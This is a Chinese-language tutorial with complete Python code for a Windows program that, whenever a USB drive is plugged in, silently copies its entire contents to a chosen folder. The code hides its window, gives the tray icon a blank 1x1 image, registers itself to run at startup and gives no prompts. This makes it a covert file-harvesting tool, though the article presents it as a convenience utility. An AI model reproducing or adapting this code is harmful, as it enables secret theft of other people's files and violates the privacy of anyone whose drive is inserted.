
当电脑上有U盘插入时,自动复制U盘内的所有内容
1、使用PyQt5创建图形界面,但默认隐藏
2、通过Ctrl+Alt+U组合键可以显示/隐藏界面
3、自动添加到Windows启动项
4、监控USB设备插入
5、按修改时间排序复制文件
6、静默运行,无提示
7、自动跳过无法复制的文件
8、配置文件保存目标路径
1、首次运行时,按Ctrl+Alt+U显示界面
2、点击"选择目标文件夹"按钮设置保存位置
3、设置完成后可以关闭界面,程序会在后台运行
4、插入U盘后会自动复制内容到指定文件夹
import os import sys import time import json import shutil import ctypes from ctypes import wintypes import win32file import win32api import win32con import win32gui import win32com.client import pythoncom import win32event import winerror from datetime import datetime from threading import Thread from PyQt5.QtWidgets import (QApplication, QMainWindow, QWidget, QVBoxLayout, QPushButton, QFileDialog, QLabel, QSystemTrayIcon) from PyQt5.QtCore import Qt, QTimer, QEvent from PyQt5.QtGui import QIcon, QPixmap class USBCopyTool(QMainWindow): def __init__(self): super().__init__() self.config_file = 'config.json' self.target_path = self.load_config() self.init_ui() self.setup_system_tray() self.setup_hotkey() # 添加窗口事件过滤器 self.installEventFilter(self) # 启动USB监控线程 self.monitor_thread = Thread(target=self.monitor_usb, daemon=True) self.monitor_thread.start() def init_ui(self): self.setWindowTitle('USB自动复制工具') self.setGeometry(300, 300, 400, 200) central_widget = QWidget() self.setCentralWidget(central_widget) layout = QVBoxLayout() self.path_label = QLabel(f'当前目标路径: {self.target_path}') layout.addWidget(self.path_label) select_btn = QPushButton('选择目标文件夹') select_btn.clicked.connect(self.select_target_path) layout.addWidget(select_btn) central_widget.setLayout(layout) self.hide() def setup_system_tray(self): self.tray_icon = QSystemTrayIcon(self) # 创建一个1x1的空白图标而不是完全没有图标 blank_icon = QIcon() blank_icon.addPixmap(QPixmap(1, 1)) self.tray_icon.setIcon(blank_icon) self.tray_icon.show() def setup_hotkey(self): # 注册全局热键 (Ctrl+Alt+U) self.hot_key_id = 1 try: win32gui.RegisterHotKey(self.winId(), self.hot_key_id, win32con.MOD_CONTROL | win32con.MOD_ALT, ord('U')) except Exception as e: print(f"热键注册失败: {e}") def nativeEvent(self, eventType, message): try: if eventType == "windows_generic_MSG": msg = wintypes.MSG.from_address(message.__int__()) if msg.message == win32con.WM_HOTKEY: if self.isVisible(): self.hide() else: self.show() return True, 0 except Exception as e: print(f"事件处理错误: {e}") return False, 0 def load_config(self): try: with open(self.config_file, 'r') as f: config = json.load(f) return config.get('target_path', '') except: return '' def save_config(self): with open(self.config_file, 'w') as f: json.dump({'target_path': self.target_path}, f) def select_target_path(self): path = QFileDialog.getExistingDirectory(self, '选择目标文件夹') if path: self.target_path = path self.path_label.setText(f'当前目标路径: {self.target_path}') self.save_config() def monitor_usb(self): drives_before = set(win32api.GetLogicalDriveStrings().split('\000')[:-1]) print(f"初始驱动器: {drives_before}") while True: try: drives_now = set(win32api.GetLogicalDriveStrings().split('\000')[:-1]) new_drives = drives_now - drives_before if new_drives: print(f"检测到新驱动器: {new_drives}") for drive in new_drives: drive_type = win32file.GetDriveType(drive) print(f"驱动器 {drive} 类型: {drive_type}") if drive_type == win32con.DRIVE_REMOVABLE: print(f"开始复制U盘 {drive} 内容") self.copy_usb_contents(drive) drives_before = drives_now time.sleep(1) except Exception as e: print(f"监控错误: {e}") time.sleep(1) def copy_usb_contents(self, drive): if not self.target_path: print("未设置目标路径") return # 获取U盘卷标名称 try: volume_name = win32api.GetVolumeInformation(drive)[0] # 如果U盘没有卷标名称,则使用盘符 if not volume_name: volume_name = os.path.splitdrive(drive)[0].rstrip(':\\') # 替换非法字符 volume_name = ''.join(c for c in volume_name if c not in r'\/:*?"<>|') except Exception as e: print(f"获取卷标名称失败: {e}") volume_name = os.path.splitdrive(drive)[0].rstrip(':\\') target_folder = os.path.join(self.target_path, volume_name) print(f"复制到目标文件夹: {target_folder}") if not os.path.exists(target_folder): os.makedirs(target_folder) # 获取所有文件并按修改时间排序 all_files = [] try: for root, dirs, files in os.walk(drive): print(f"扫描目录: {root}") for file in files: file_path = os.path.join(root, file) try: mtime = os.path.getmtime(file_path) all_files.append((file_path, mtime)) except Exception as e: print(f"无法获取文件信息: {file_path}, 错误: {e}") continue except Exception as e: print(f"扫描目录失败: {e}") all_files.sort(key=lambda x: x[1], reverse=True) print(f"找到 {len(all_files)} 个文件") # 复制文件 for file_path, _ in all_files: try: rel_path = os.path.relpath(file_path, drive) target_path = os.path.join(target_folder, rel_path) target_dir = os.path.dirname(target_path) if not os.path.exists(target_dir): os.makedirs(target_dir) print(f"复制文件: {file_path} -> {target_path}") shutil.copy2(file_path, target_path) except Exception as e: print(f"复制失败: {file_path}, 错误: {e}") continue def eventFilter(self, obj, event): if obj is self and event.type() == QEvent.WindowStateChange: if self.windowState() & Qt.WindowMinimized: # 延迟执行隐藏操作,避免界面闪烁 QTimer.singleShot(0, self.hide) # 恢复窗口状态,这样下次显示时是正常状态 self.setWindowState(Qt.WindowNoState) return True return super().eventFilter(obj, event) def add_to_startup(): try: startup_path = os.path.join(os.getenv('APPDATA'), r'Microsoft\Windows\Start Menu\Programs\Startup') script_path = os.path.abspath(sys.argv[0]) shortcut_path = os.path.join(startup_path, 'USBCopyTool.lnk') shell = win32com.client.Dispatch("WScript.Shell") shortcut = shell.CreateShortCut(shortcut_path) shortcut.Targetpath = script_path shortcut.WorkingDirectory = os.path.dirname(script_path) shortcut.save() except Exception as e: print(f"添加到启动项失败: {e}") if __name__ == '__main__': # 确保只运行一个实例 mutex = win32event.CreateMutex(None, 1, 'USBCopyTool_Mutex') if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS: mutex = None sys.exit(0) add_to_startup() app = QApplication(sys.argv) tool = USBCopyTool() sys.exit(app.exec_())
以上就是使用Python实现U盘数据自动拷贝的详细内容,更多关于Python U盘数据拷贝的资料请关注本站其它相关文章!